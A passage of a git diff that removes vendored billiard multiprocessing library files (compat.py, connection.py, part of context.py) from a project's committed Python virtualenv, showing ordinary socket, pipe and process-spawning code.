os.close(fd) - except OSError as exc: - if exc.errno != errno.EBADF: - raise - - def close_open_fds(keep=None): - # must make sure this is 0-inclusive (Issue #celery/1882) - keep = list(uniq(sorted( - f for f in map(maybe_fileno, keep or []) if f is not None - ))) - maxfd = get_fdmax(default=2048) - kL, kH = iter([-1] + keep), iter(keep + [maxfd]) - for low, high in zip_longest(kL, kH): - if low + 1 != high: - closerange(low + 1, high) -else: - def close_open_fds(keep=None): # noqa - keep = [maybe_fileno(f) - for f in (keep or []) if maybe_fileno(f) is not None] - for fd in reversed(range(get_fdmax(default=2048))): - if fd not in keep: - try: - os.close(fd) - except OSError as exc: - if exc.errno != errno.EBADF: - raise - - -def get_errno(exc): - """:exc:`socket.error` and :exc:`IOError` first got - the ``.errno`` attribute in Py2.7""" - try: - return exc.errno - except AttributeError: - return 0 - - -try: - import _posixsubprocess -except ImportError: - def spawnv_passfds(path, args, passfds): - if sys.platform != 'win32': - # when not using _posixsubprocess (on earlier python) and not on - # windows, we want to keep stdout/stderr open... - passfds = passfds + [ - maybe_fileno(sys.stdout), - maybe_fileno(sys.stderr), - ] - pid = os.fork() - if not pid: - close_open_fds(keep=sorted(f for f in passfds if f)) - os.execv(fsencode(path), args) - return pid -else: - def spawnv_passfds(path, args, passfds): - passfds = sorted(passfds) - errpipe_read, errpipe_write = os.pipe() - try: - args = [ - args, [fsencode(path)], True, tuple(passfds), None, None, - -1, -1, -1, -1, -1, -1, errpipe_read, errpipe_write, - False, False] - if sys.version_info >= (3, 11): - args.append(-1) # process_group - if sys.version_info >= (3, 9): - args.extend((None, None, None, -1)) # group, extra_groups, user, umask - args.append(None) # preexec_fn - if sys.version_info >= (3, 11): - args.append(subprocess._USE_VFORK) - return _posixsubprocess.fork_exec(*args) - finally: - os.close(errpipe_read) - os.close(errpipe_write) - - -if sys.platform == 'win32': - - def setblocking(handle, blocking): - raise NotImplementedError('setblocking not implemented on win32') - - def isblocking(handle): - raise NotImplementedError('isblocking not implemented on win32') - -else: - from os import O_NONBLOCK - from fcntl import fcntl, F_GETFL, F_SETFL - - def isblocking(handle): # noqa - return not (fcntl(handle, F_GETFL) & O_NONBLOCK) - - def setblocking(handle, blocking): # noqa - flags = fcntl(handle, F_GETFL, 0) - fcntl( - handle, F_SETFL, - flags & (~O_NONBLOCK) if blocking else flags | O_NONBLOCK, - ) - - -E_PSUTIL_MISSING = """ -On Windows, the ability to inspect memory usage requires the psutil library. - -You can install it using pip: - - $ pip install psutil -""" - - -E_RESOURCE_MISSING = """ -Your platform ({0}) does not seem to have the `resource.getrusage' function. - -Please open an issue so that we can add support for this platform. -""" - - -if sys.platform == 'win32': - - try: - import psutil - except ImportError: # pragma: no cover - psutil = None # noqa - - def mem_rss(): - # type () -> int - if psutil is None: - raise ImportError(E_PSUTIL_MISSING.strip()) - return int(psutil.Process(os.getpid()).memory_info()[0] / 1024.0) - -else: - try: - from resource import getrusage, RUSAGE_SELF - except ImportError: # pragma: no cover - getrusage = RUSAGE_SELF = None # noqa - - if 'bsd' in sys.platform or sys.platform == 'darwin': - # On BSD platforms :man:`getrusage(2)` ru_maxrss field is in bytes. - - def maxrss_to_kb(v): - # type: (SupportsInt) -> int - return int(v) / 1024.0 - - else: - # On Linux it's kilobytes. - - def maxrss_to_kb(v): - # type: (SupportsInt) -> int - return int(v) - - def mem_rss(): - # type () -> int - if resource is None: - raise ImportError(E_RESOURCE_MISSING.strip().format(sys.platform)) - return maxrss_to_kb(getrusage(RUSAGE_SELF).ru_maxrss) diff --git a/backend/venv/Lib/site-packages/billiard/connection.py b/backend/venv/Lib/site-packages/billiard/connection.py deleted file mode 100644 index 70b80590..00000000 --- a/backend/venv/Lib/site-packages/billiard/connection.py +++ /dev/null @@ -1,1034 +0,0 @@ -# -# A higher level module for using sockets (or Windows named pipes) -# -# multiprocessing/connection.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - -import errno -import io -import os -import sys -import socket -import select -import struct -import tempfile -import itertools - -from . import reduction -from . import util - -from . import AuthenticationError, BufferTooShort -from ._ext import _billiard -from .compat import setblocking, send_offset -from time import monotonic -from .reduction import ForkingPickler - -try: - from .compat import _winapi -except ImportError: - if sys.platform == 'win32': - raise - _winapi = None -else: - if sys.platform == 'win32': - WAIT_OBJECT_0 = _winapi.WAIT_OBJECT_0 - WAIT_ABANDONED_0 = _winapi.WAIT_ABANDONED_0 - - WAIT_TIMEOUT = _winapi.WAIT_TIMEOUT - INFINITE = _winapi.INFINITE - -__all__ = ['Client', 'Listener', 'Pipe', 'wait'] - -is_pypy = hasattr(sys, 'pypy_version_info') - -# -# -# - -BUFSIZE = 8192 -# A very generous timeout when it comes to local connections... -CONNECTION_TIMEOUT = 20. - -_mmap_counter = itertools.count() - -default_family = 'AF_INET' -families = ['AF_INET'] - -if hasattr(socket, 'AF_UNIX'): - default_family = 'AF_UNIX' - families += ['AF_UNIX'] - -if sys.platform == 'win32': - default_family = 'AF_PIPE' - families += ['AF_PIPE'] - - -def _init_timeout(timeout=CONNECTION_TIMEOUT): - return monotonic() + timeout - - -def _check_timeout(t): - return monotonic() > t - -# -# -# - - -def arbitrary_address(family): - ''' - Return an arbitrary free address for the given family - ''' - if family == 'AF_INET': - return ('localhost', 0) - elif family == 'AF_UNIX': - return tempfile.mktemp(prefix='listener-', dir=util.get_temp_dir()) - elif family == 'AF_PIPE': - return tempfile.mktemp(prefix=r'\\.\pipe\pyc-%d-%d-' % - (os.getpid(), next(_mmap_counter)), dir="") - else: - raise ValueError('unrecognized family') - - -def _validate_family(family): - ''' - Checks if the family is valid for the current environment. - ''' - if sys.platform != 'win32' and family == 'AF_PIPE': - raise ValueError('Family %s is not recognized.' % family) - - if sys.platform == 'win32' and family == 'AF_UNIX': - # double check - if not hasattr(socket, family): - raise ValueError('Family %s is not recognized.' % family) - - -def address_type(address): - ''' - Return the types of the address - - This can be 'AF_INET', 'AF_UNIX', or 'AF_PIPE' - ''' - if type(address) == tuple: - return 'AF_INET' - elif type(address) is str and address.startswith('\\\\'): - return 'AF_PIPE' - elif type(address) is str: - return 'AF_UNIX' - else: - raise ValueError('address type of %r unrecognized' % address) - -# -# Connection classes -# - - -class _SocketContainer: - - def __init__(self, sock): - self.sock = sock - - -class _ConnectionBase: - _handle = None - - def __init__(self, handle, readable=True, writable=True): - if isinstance(handle, _SocketContainer): - self._socket = handle.sock # keep ref so not collected - handle = handle.sock.fileno() - handle = handle.__index__() - if handle < 0: - raise ValueError("invalid handle") - if not readable and not writable: - raise ValueError( - "at least one of `readable` and `writable` must be True") - self._handle = handle - self._readable = readable - self._writable = writable - - # XXX should we use util.Finalize instead of a __del__? - - def __del__(self): - if self._handle is not None: - self._close() - - def _check_closed(self): - if self._handle is None: - raise OSError("handle is closed") - - def _check_readable(self): - if not self._readable: - raise OSError("connection is write-only") - - def _check_writable(self): - if not self._writable: - raise OSError("connection is read-only") - - def _bad_message_length(self): - if self._writable: - self._readable = False - else: - self.close() - raise OSError("bad message length") - - @property - def closed(self): - """True if the connection is closed""" - return self._handle is None - - @property - def readable(self): - """True if the connection is readable""" - return self._readable - - @property - def writable(self): - """True if the connection is writable""" - return self._writable - - def fileno(self): - """File descriptor or handle of the connection""" - self._check_closed() - return self._handle - - def close(self): - """Close the connection""" - if self._handle is not None: - try: - self._close() - finally: - self._handle = None - - def send_bytes(self, buf, offset=0, size=None): - """Send the bytes data from a bytes-like object""" - self._check_closed() - self._check_writable() - m = memoryview(buf) - # HACK for byte-indexing of non-bytewise buffers (e.g. array.array) - if m.itemsize > 1: - m = memoryview(bytes(m)) - n = len(m) - if offset < 0: - raise ValueError("offset is negative") - if n < offset: - raise ValueError("buffer length < offset") - if size is None: - size = n - offset - elif size < 0: - raise ValueError("size is negative") - elif offset + size > n: - raise ValueError("buffer length < offset + size") - self._send_bytes(m[offset:offset + size]) - - def send(self, obj): - """Send a (picklable) object""" - self._check_closed() - self._check_writable() - self._send_bytes(ForkingPickler.dumps(obj)) - - def recv_bytes(self, maxlength=None): - """ - Receive bytes data as a bytes object. - """ - self._check_closed() - self._check_readable() - if maxlength is not None and maxlength < 0: - raise ValueError("negative maxlength") - buf = self._recv_bytes(maxlength) - if buf is None: - self._bad_message_length() - return buf.getvalue() - - def recv_bytes_into(self, buf, offset=0): - """ - Receive bytes data into a writeable bytes-like object. - Return the number of bytes read. - """ - self._check_closed() - self._check_readable() - with memoryview(buf) as m: - # Get bytesize of arbitrary buffer - itemsize = m.itemsize - bytesize = itemsize * len(m) - if offset < 0: - raise ValueError("negative offset") - elif offset > bytesize: - raise ValueError("offset too large") - result = self._recv_bytes() - size = result.tell() - if bytesize < offset + size: - raise BufferTooShort(result.getvalue()) - # Message can fit in dest - result.seek(0) - result.readinto(m[ - offset // itemsize:(offset + size) // itemsize - ]) - return size - - def recv(self): - """Receive a (picklable) object""" - self._check_closed() - self._check_readable() - buf = self._recv_bytes() - return ForkingPickler.loadbuf(buf) - - def poll(self, timeout=0.0): - """Whether there is any input available to be read""" - self._check_closed() - self._check_readable() - return self._poll(timeout) - - def __enter__(self): - return self - - def __exit__(self, exc_type, exc_value, exc_tb): - self.close() - - def send_offset(self, buf, offset): - return send_offset(self.fileno(), buf, offset) - - def setblocking(self, blocking): - setblocking(self.fileno(), blocking) - - -if _winapi: - - class PipeConnection(_ConnectionBase): - """ - Connection class based on a Windows named pipe. - Overlapped I/O is used, so the handles must have been created - with FILE_FLAG_OVERLAPPED. - """ - _got_empty_message = False - - def _close(self, _CloseHandle=_winapi.CloseHandle): - _CloseHandle(self._handle) - - def _send_bytes(self, buf): - ov, err = _winapi.WriteFile(self._handle, buf, overlapped=True) - try: - if err == _winapi.ERROR_IO_PENDING: - waitres = _winapi.WaitForMultipleObjects( - - [ov.event], False, INFINITE) - assert waitres == WAIT_OBJECT_0 - except: - ov.cancel() - raise - finally: - nwritten, err = ov.GetOverlappedResult(True) - assert err == 0 - assert nwritten == len(buf) - - def _recv_bytes(self, maxsize=None): - if self._got_empty_message: - self._got_empty_message = False - return io.BytesIO() - else: - bsize = 128 if maxsize is None else min(maxsize, 128) - try: - ov, err = _winapi.ReadFile( - self._handle, bsize, overlapped=True, - ) - try: - if err == _winapi.ERROR_IO_PENDING: - waitres = _winapi.WaitForMultipleObjects( - [ov.event], False, INFINITE) - assert waitres == WAIT_OBJECT_0 - except: - ov.cancel() - raise - finally: - nread, err = ov.GetOverlappedResult(True) - if err == 0: - f = io.BytesIO() - f.write(ov.getbuffer()) - return f - elif err == _winapi.ERROR_MORE_DATA: - return self._get_more_data(ov, maxsize) - except OSError as e: - if e.winerror == _winapi.ERROR_BROKEN_PIPE: - raise EOFError - else: - raise - raise RuntimeError( - "shouldn't get here; expected KeyboardInterrupt") - - def _poll(self, timeout): - if (self._got_empty_message or - _winapi.PeekNamedPipe(self._handle)[0] != 0): - return True - return bool(wait([self], timeout)) - - def _get_more_data(self, ov, maxsize): - buf = ov.getbuffer() - f = io.BytesIO() - f.write(buf) - left = _winapi.PeekNamedPipe(self._handle)[1] - assert left > 0 - if maxsize is not None and len(buf) + left > maxsize: - self._bad_message_length() - ov, err = _winapi.ReadFile(self._handle, left, overlapped=True) - rbytes, err = ov.GetOverlappedResult(True) - assert err == 0 - assert rbytes == left - f.write(ov.getbuffer()) - return f - - -class Connection(_ConnectionBase): - """ - Connection class based on an arbitrary file descriptor (Unix only), or - a socket handle (Windows). - """ - - if _winapi: - def _close(self, _close=_billiard.closesocket): - _close(self._handle) - _write = _billiard.send - _read = _billiard.recv - else: - def _close(self, _close=os.close): - _close(self._handle) - _write = os.write - _read = os.read - - def _send(self, buf, write=_write): - remaining = len(buf) - while True: - try: - n = write(self._handle, buf) - except (OSError, IOError, socket.error) as exc: - if getattr(exc, 'errno', None) != errno.EINTR: - raise - else: - remaining -= n - if remaining == 0: - break - buf = buf[n:] - - def _recv(self, size, read=_read): - buf = io.BytesIO() - handle = self._handle - remaining = size - while remaining > 0: - try: - chunk = read(handle, remaining) - except (OSError, IOError, socket.error) as exc: - if getattr(exc, 'errno', None) != errno.EINTR: - raise - else: - n = len(chunk) - if n == 0: - if remaining == size: - raise EOFError - else: - raise OSError("got end of file during message") - buf.write(chunk) - remaining -= n - return buf - - def _send_bytes(self, buf, memoryview=memoryview): - n = len(buf) - # For wire compatibility with 3.2 and lower - header = struct.pack("!i", n) - if n > 16384: - # The payload is large so Nagle's algorithm won't be triggered - # and we'd better avoid the cost of concatenation. - self._send(header) - self._send(buf) - else: - # Issue #20540: concatenate before sending, to avoid delays due - # to Nagle's algorithm on a TCP socket. - # Also note we want to avoid sending a 0-length buffer separately, - # to avoid "broken pipe" errors if the other end closed the pipe. - if isinstance(buf, memoryview): - buf = buf.tobytes() - self._send(header + buf) - - def _recv_bytes(self, maxsize=None): - buf = self._recv(4) - size, = struct.unpack("!i", buf.getvalue()) - if maxsize is not None and size > maxsize: - return None - return self._recv(size) - - def _poll(self, timeout): - r = wait([self], timeout) - return bool(r) - - -# -# Public functions -# - -class Listener: - ''' - Returns a listener object. - - This is a wrapper for a bound socket which is 'listening' for - connections, or for a Windows named pipe. - ''' - def __init__(self, address=None, family=None, backlog=1, authkey=None): - family = (family or - (address and address_type(address)) or default_family) - address = address or arbitrary_address(family) - - _validate_family(family) - if family == 'AF_PIPE': - self._listener = PipeListener(address, backlog) - else: - self._listener = SocketListener(address, family, backlog) - - if authkey is not None and not isinstance(authkey, bytes): - raise TypeError('authkey should be a byte string') - - self._authkey = authkey - - def accept(self): - ''' - Accept a connection on the bound socket or named pipe of `self`. - - Returns a `Connection` object. - ''' - if self._listener is None: - raise OSError('listener is closed') - c = self._listener.accept() - if self._authkey: - deliver_challenge(c, self._authkey) - answer_challenge(c, self._authkey) - return c - - def close(self): - ''' - Close the bound socket or named pipe of `self`. - ''' - listener = self._listener - if listener is not None: - self._listener = None - listener.close() - - address = property(lambda self: self._listener._address) - last_accepted = property(lambda self: self._listener._last_accepted) - - def __enter__(self): - return self - - def __exit__(self, exc_type, exc_value, exc_tb): - self.close() - - -def Client(address, family=None, authkey=None): - ''' - Returns a connection to the address of a `Listener` - ''' - family = family or address_type(address) - _validate_family(family) - if family == 'AF_PIPE': - c = PipeClient(address) - else: - c = SocketClient(address) - - if authkey is not None and not isinstance(authkey, bytes): - raise TypeError('authkey should be a byte string') - - if authkey is not None: - answer_challenge(c, authkey) - deliver_challenge(c, authkey) - - return c - - -def detach(sock): - if hasattr(sock, 'detach'): - return sock.detach() - # older socket lib does not have detach. We'll keep a reference around - # so that it does not get garbage collected. - return _SocketContainer(sock) - - -if sys.platform != 'win32': - - def Pipe(duplex=True, rnonblock=False, wnonblock=False): - ''' - Returns pair of connection objects at either end of a pipe - ''' - if duplex: - s1, s2 = socket.socketpair() - s1.setblocking(not rnonblock) - s2.setblocking(not wnonblock) - c1 = Connection(detach(s1)) - c2 = Connection(detach(s2)) - else: - fd1, fd2 = os.pipe() - if rnonblock: - setblocking(fd1, 0) - if wnonblock: - setblocking(fd2, 0) - c1 = Connection(fd1, writable=False) - c2 = Connection(fd2, readable=False) - - return c1, c2 - -else: - - def Pipe(duplex=True, rnonblock=False, wnonblock=False): - ''' - Returns pair of connection objects at either end of a pipe - ''' - assert not rnonblock, 'rnonblock not supported on windows' - assert not wnonblock, 'wnonblock not supported on windows' - address = arbitrary_address('AF_PIPE') - if duplex: - openmode = _winapi.PIPE_ACCESS_DUPLEX - access = _winapi.GENERIC_READ | _winapi.GENERIC_WRITE - obsize, ibsize = BUFSIZE, BUFSIZE - else: - openmode = _winapi.PIPE_ACCESS_INBOUND - access = _winapi.GENERIC_WRITE - obsize, ibsize = 0, BUFSIZE - - h1 = _winapi.CreateNamedPipe( - address, openmode | _winapi.FILE_FLAG_OVERLAPPED | - _winapi.FILE_FLAG_FIRST_PIPE_INSTANCE, - _winapi.PIPE_TYPE_MESSAGE | _winapi.PIPE_READMODE_MESSAGE | - _winapi.PIPE_WAIT, - 1, obsize, ibsize, _winapi.NMPWAIT_WAIT_FOREVER, - # default security descriptor: the handle cannot be inherited - _winapi.NULL - ) - h2 = _winapi.CreateFile( - address, access, 0, _winapi.NULL, _winapi.OPEN_EXISTING, - _winapi.FILE_FLAG_OVERLAPPED, _winapi.NULL - ) - _winapi.SetNamedPipeHandleState( - h2, _winapi.PIPE_READMODE_MESSAGE, None, None - ) - - overlapped = _winapi.ConnectNamedPipe(h1, overlapped=True) - _, err = overlapped.GetOverlappedResult(True) - assert err == 0 - - c1 = PipeConnection(h1, writable=duplex) - c2 = PipeConnection(h2, readable=duplex) - - return c1, c2 - -# -# Definitions for connections based on sockets -# - - -class SocketListener: - ''' - Representation of a socket which is bound to an address and listening - ''' - def __init__(self, address, family, backlog=1): - self._socket = socket.socket(getattr(socket, family)) - try: - # SO_REUSEADDR has different semantics on Windows (issue #2550). - if os.name == 'posix': - self._socket.setsockopt(socket.SOL_SOCKET, - socket.SO_REUSEADDR, 1) - self._socket.setblocking(True) - self._socket.bind(address) - self._socket.listen(backlog) - self._address = self._socket.getsockname() - except OSError: - self._socket.close() - raise - self._family = family - self._last_accepted = None - - if family == 'AF_UNIX': - self._unlink = util.Finalize( - self, os.unlink, args=(address,), exitpriority=0 - ) - else: - self._unlink = None - - def accept(self): - while True: - try: - s, self._last_accepted = self._socket.accept() - except (OSError, IOError, socket.error) as exc: - if getattr(exc, 'errno', None) != errno.EINTR: - raise - else: - break - s.setblocking(True) - return Connection(detach(s)) - - def close(self): - try: - self._socket.close() - finally: - unlink = self._unlink - if unlink is not None: - self._unlink = None - unlink() - - -def SocketClient(address): - ''' - Return a connection object connected to the socket given by `address` - ''' - family = address_type(address) - s = socket.socket(getattr(socket, family)) - s.setblocking(True) - s.connect(address) - return Connection(detach(s)) - -# -# Definitions for connections based on named pipes -# - -if sys.platform == 'win32': - - class PipeListener: - ''' - Representation of a named pipe - ''' - def __init__(self, address, backlog=None): - self._address = address - self._handle_queue = [self._new_handle(first=True)] - - self._last_accepted = None - util.sub_debug('listener created with address=%r', self._address) - self.close = util.Finalize( - self, PipeListener._finalize_pipe_listener, - args=(self._handle_queue, self._address), exitpriority=0 - ) - - def _new_handle(self, first=False): - flags = _winapi.PIPE_ACCESS_DUPLEX | _winapi.FILE_FLAG_OVERLAPPED - if first: - flags |= _winapi.FILE_FLAG_FIRST_PIPE_INSTANCE - return _winapi.CreateNamedPipe( - self._address, flags, - _winapi.PIPE_TYPE_MESSAGE | _winapi.PIPE_READMODE_MESSAGE | - _winapi.PIPE_WAIT, - _winapi.PIPE_UNLIMITED_INSTANCES, BUFSIZE, BUFSIZE, - _winapi.NMPWAIT_WAIT_FOREVER, _winapi.NULL - ) - - def accept(self): - self._handle_queue.append(self._new_handle()) - handle = self._handle_queue.pop(0) - try: - ov = _winapi.ConnectNamedPipe(handle, overlapped=True) - except OSError as e: - if e.winerror != _winapi.ERROR_NO_DATA: - raise - # ERROR_NO_DATA can occur if a client has already connected, - # written data and then disconnected -- see Issue 14725. - else: - try: - _winapi.WaitForMultipleObjects( - [ov.event], False, INFINITE) - except: - ov.cancel() - _winapi.CloseHandle(handle) - raise - finally: - _, err = ov.GetOverlappedResult(True) - assert err == 0 - return PipeConnection(handle) - - @staticmethod - def _finalize_pipe_listener(queue, address): - util.sub_debug('closing listener with address=%r', address) - for handle in queue: - _winapi.CloseHandle(handle) - - def PipeClient(address, _ignore=(_winapi.ERROR_SEM_TIMEOUT, - _winapi.ERROR_PIPE_BUSY)): - ''' - Return a connection object connected to the pipe given by `address` - ''' - t = _init_timeout() - while 1: - try: - _winapi.WaitNamedPipe(address, 1000) - h = _winapi.CreateFile( - address, _winapi.GENERIC_READ | _winapi.GENERIC_WRITE, - 0, _winapi.NULL, _winapi.OPEN_EXISTING, - _winapi.FILE_FLAG_OVERLAPPED, _winapi.NULL - ) - except OSError as e: - if e.winerror not in _ignore or _check_timeout(t): - raise - else: - break - else: - raise - - _winapi.SetNamedPipeHandleState( - h, _winapi.PIPE_READMODE_MESSAGE, None, None - ) - return PipeConnection(h) - -# -# Authentication stuff -# - -MESSAGE_LENGTH = 20 - -CHALLENGE = b'#CHALLENGE#' -WELCOME = b'#WELCOME#' -FAILURE = b'#FAILURE#' - - -def deliver_challenge(connection, authkey): - import hmac - assert isinstance(authkey, bytes) - message = os.urandom(MESSAGE_LENGTH) - connection.send_bytes(CHALLENGE + message) - digest = hmac.new(authkey, message, 'md5').digest() - response = connection.recv_bytes(256) # reject large message - if response == digest: - connection.send_bytes(WELCOME) - else: - connection.send_bytes(FAILURE) - raise AuthenticationError('digest received was wrong') - - -def answer_challenge(connection, authkey): - import hmac - assert isinstance(authkey, bytes) - message = connection.recv_bytes(256) # reject large message - assert message[:len(CHALLENGE)] == CHALLENGE, 'message = %r' % message - message = message[len(CHALLENGE):] - digest = hmac.new(authkey, message, 'md5').digest() - connection.send_bytes(digest) - response = connection.recv_bytes(256) # reject large message - if response != WELCOME: - raise AuthenticationError('digest sent was rejected') - -# -# Support for using xmlrpclib for serialization -# - - -class ConnectionWrapper: - - def __init__(self, conn, dumps, loads): - self._conn = conn - self._dumps = dumps - self._loads = loads - for attr in ('fileno', 'close', 'poll', 'recv_bytes', 'send_bytes'): - obj = getattr(conn, attr) - setattr(self, attr, obj) - - def send(self, obj): - s = self._dumps(obj) - self._conn.send_bytes(s) - - def recv(self): - s = self._conn.recv_bytes() - return self._loads(s) - - -def _xml_dumps(obj): - o = xmlrpclib.dumps((obj, ), None, None, None, 1) # noqa - return o.encode('utf-8') - - -def _xml_loads(s): - (obj,), method = xmlrpclib.loads(s.decode('utf-8')) # noqa - return obj - - -class XmlListener(Listener): - - def accept(self): - global xmlrpclib - import xmlrpc.client as xmlrpclib # noqa - obj = Listener.accept(self) - return ConnectionWrapper(obj, _xml_dumps, _xml_loads) - - -def XmlClient(*args, **kwds): - global xmlrpclib - import xmlrpc.client as xmlrpclib # noqa - return ConnectionWrapper(Client(*args, **kwds), _xml_dumps, _xml_loads) - -# -# Wait -# - -if sys.platform == 'win32': - - def _exhaustive_wait(handles, timeout): - # Return ALL handles which are currently signaled. (Only - # returning the first signaled might create starvation issues.) - L = list(handles) - ready = [] - while L: - res = _winapi.WaitForMultipleObjects(L, False, timeout) - if res == WAIT_TIMEOUT: - break - elif WAIT_OBJECT_0 <= res < WAIT_OBJECT_0 + len(L): - res -= WAIT_OBJECT_0 - elif WAIT_ABANDONED_0 <= res < WAIT_ABANDONED_0 + len(L): - res -= WAIT_ABANDONED_0 - else: - raise RuntimeError('Should not get here') - ready.append(L[res]) - L = L[res + 1:] - timeout = 0 - return ready - - _ready_errors = {_winapi.ERROR_BROKEN_PIPE, _winapi.ERROR_NETNAME_DELETED} - - def wait(object_list, timeout=None): - ''' - Wait till an object in object_list is ready/readable. - - Returns list of those objects in object_list which are ready/readable. - ''' - if timeout is None: - timeout = INFINITE - elif timeout < 0: - timeout = 0 - else: - timeout = int(timeout * 1000 + 0.5) - - object_list = list(object_list) - waithandle_to_obj = {} - ov_list = [] - ready_objects = set() - ready_handles = set() - - try: - for o in object_list: - try: - fileno = getattr(o, 'fileno') - except AttributeError: - waithandle_to_obj[o.__index__()] = o - else: - # start an overlapped read of length zero - try: - ov, err = _winapi.ReadFile(fileno(), 0, True) - except OSError as e: - err = e.winerror - if err not in _ready_errors: - raise - if err == _winapi.ERROR_IO_PENDING: - ov_list.append(ov) - waithandle_to_obj[ov.event] = o - else: - # If o.fileno() is an overlapped pipe handle and - # err == 0 then there is a zero length message - # in the pipe, but it HAS NOT been consumed. - ready_objects.add(o) - timeout = 0 - - ready_handles = _exhaustive_wait(waithandle_to_obj.keys(), timeout) - finally: - # request that overlapped reads stop - for ov in ov_list: - ov.cancel() - - # wait for all overlapped reads to stop - for ov in ov_list: - try: - _, err = ov.GetOverlappedResult(True) - except OSError as e: - err = e.winerror - if err not in _ready_errors: - raise - if err != _winapi.ERROR_OPERATION_ABORTED: - o = waithandle_to_obj[ov.event] - ready_objects.add(o) - if err == 0: - # If o.fileno() is an overlapped pipe handle then - # a zero length message HAS been consumed. - if hasattr(o, '_got_empty_message'): - o._got_empty_message = True - - ready_objects.update(waithandle_to_obj[h] for h in ready_handles) - return [p for p in object_list if p in ready_objects] - -else: - - if hasattr(select, 'poll'): - def _poll(fds, timeout): - if timeout is not None: - timeout = int(timeout * 1000) # timeout is in milliseconds - fd_map = {} - pollster = select.poll() - for fd in fds: - pollster.register(fd, select.POLLIN) - if hasattr(fd, 'fileno'): - fd_map[fd.fileno()] = fd - else: - fd_map[fd] = fd - ls = [] - for fd, event in pollster.poll(timeout): - if event & select.POLLNVAL: - raise ValueError('invalid file descriptor %i' % fd) - ls.append(fd_map[fd]) - return ls - else: - def _poll(fds, timeout): # noqa - return select.select(fds, [], [], timeout)[0] - - def wait(object_list, timeout=None): # noqa - ''' - Wait till an object in object_list is ready/readable. - - Returns list of those objects in object_list which are ready/readable. - ''' - if timeout is not None: - if timeout <= 0: - return _poll(object_list, 0) - else: - deadline = monotonic() + timeout - while True: - try: - return _poll(object_list, timeout) - except (OSError, IOError, socket.error) as e: - if e.errno != errno.EINTR: - raise - if timeout is not None: - timeout = deadline - monotonic() - -# -# Make connection and socket objects shareable if possible -# - -if sys.platform == 'win32': - def reduce_connection(conn): - handle = conn.fileno() - with socket.fromfd(handle, socket.AF_INET, socket.SOCK_STREAM) as s: - from . import resource_sharer - ds = resource_sharer.DupSocket(s) - return rebuild_connection, (ds, conn.readable, conn.writable) - - def rebuild_connection(ds, readable, writable): - sock = ds.detach() - return Connection(detach(sock), readable, writable) - reduction.register(Connection, reduce_connection) - - def reduce_pipe_connection(conn): - access = ((_winapi.FILE_GENERIC_READ if conn.readable else 0) | - (_winapi.FILE_GENERIC_WRITE if conn.writable else 0)) - dh = reduction.DupHandle(conn.fileno(), access) - return rebuild_pipe_connection, (dh, conn.readable, conn.writable) - - def rebuild_pipe_connection(dh, readable, writable): - return PipeConnection(detach(dh), readable, writable) - reduction.register(PipeConnection, reduce_pipe_connection) - -else: - def reduce_connection(conn): - df = reduction.DupFd(conn.fileno()) - return rebuild_connection, (df, conn.readable, conn.writable) - - def rebuild_connection(df, readable, writable): - return Connection(detach(df), readable, writable) - reduction.register(Connection, reduce_connection) diff --git a/backend/venv/Lib/site-packages/billiard/context.py b/backend/venv/Lib/site-packages/billiard/context.py deleted file mode 100644 index 5bbc8352..00000000 --- a/backend/venv/Lib/site-packages/billiard/context.py +++ /dev/null @@ -1,420 +0,0 @@ -import os -import sys -import threading -import warnings - -from . import process - -__all__ = [] # things are copied from here to __init__.py - - -W_NO_EXECV = """\ -force_execv is not supported as the billiard C extension \ -is not installed\ -""" - - -# -# Exceptions -# - -from .exceptions import ( # noqa - ProcessError, - BufferTooShort, - TimeoutError, - AuthenticationError, - TimeLimitExceeded, - SoftTimeLimitExceeded, - WorkerLostError, -) - - -# -# Base type for contexts -# - -class BaseContext: - - ProcessError = ProcessError - BufferTooShort = BufferTooShort - TimeoutError = TimeoutError - AuthenticationError = AuthenticationError - TimeLimitExceeded = TimeLimitExceeded - SoftTimeLimitExceeded = SoftTimeLimitExceeded - WorkerLostError = WorkerLostError - - current_process = staticmethod(process.current_process) - active_children = staticmethod(process.active_children) - - if hasattr(os, 'cpu_count'): - def cpu_count(self): - '''Returns the number of CPUs in the system''' - num = os.cpu_count() - if num is None: - raise NotImplementedError('cannot determine number of cpus') - else: - return num - else: - def cpu_count(self): # noqa - if sys.platform == 'win32': - try: - num = int(os.environ['NUMBER_OF_PROCESSORS']) - except (ValueError, KeyError): - num = 0 - elif 'bsd' in sys.platform or sys.platform == 'darwin': - comm = '/sbin/sysctl -n hw.ncpu' - if sys.platform == 'darwin': - comm = '/usr' + comm - try: - with os.popen(comm) as p: - num = int(p.read()) - except ValueError: - num = 0 - else: - try: - num = os.sysconf('SC_NPROCESSORS_ONLN') - except (ValueError, OSError, AttributeError): - num = 0 - - if num >= 1: - return num - else: - raise NotImplementedError('cannot determine number of cpus') - - def Manager(self): - '''Returns a manager associated with a running server process - - The managers methods such as `Lock()`, `Condition()` and `Queue()` - can be used to create shared objects. - ''' - from .managers import SyncManager - m = SyncManager(ctx=self.get_context()) - m.start() - return m - - def Pipe(self, duplex=True, rnonblock=False, wnonblock=False): - '''Returns two connection object connected by a pipe''' - from .connection import Pipe - return Pipe(duplex, rnonblock, wnonblock) - - def Lock(self): - '''Returns a non-recursive lock object''' - from .synchronize import Lock - return Lock(ctx=self.get_context()) - - def RLock(self): - '''Returns a recursive lock object''' - from .synchronize import RLock - return RLock(ctx=self.get_context()) - - def Condition(self, lock=None): - '''Returns a condition object''' - from .synchronize import Condition - return Condition(lock, ctx=self.get_context()) - - def Semaphore(self, value=1): - '''Returns a semaphore object''' - from .synchronize import Semaphore - return Semaphore(value, ctx=self.get_context()) - - def BoundedSemaphore(self, value=1): - '''Returns a bounded semaphore object''' - from .synchronize import BoundedSemaphore - return BoundedSemaphore(value, ctx=self.get_context()) - - def Event(self): - '''Returns an event object''' - from .synchronize import Event - return Event(ctx=self.get_context()) - - def Barrier(self, parties, action=None, timeout=None): - '''Returns a barrier object''' - from .synchronize import Barrier - return Barrier(parties, action, timeout, ctx=self.get_context()) - - def Queue(self, maxsize=0): - '''Returns a queue object''' - from .queues import Queue - return Queue(maxsize, ctx=self.get_context()) - - def JoinableQueue(self, maxsize=0): - '''Returns a queue object''' - from .queues import JoinableQueue - return JoinableQueue(maxsize, ctx=self.get_context()) - - def SimpleQueue(self): - '''Returns a queue object''' - from .queues import SimpleQueue - return SimpleQueue(ctx=self.get_context()) - - def Pool(self, processes=None, initializer=None, initargs=(), - maxtasksperchild=None, timeout=None, soft_timeout=None, - 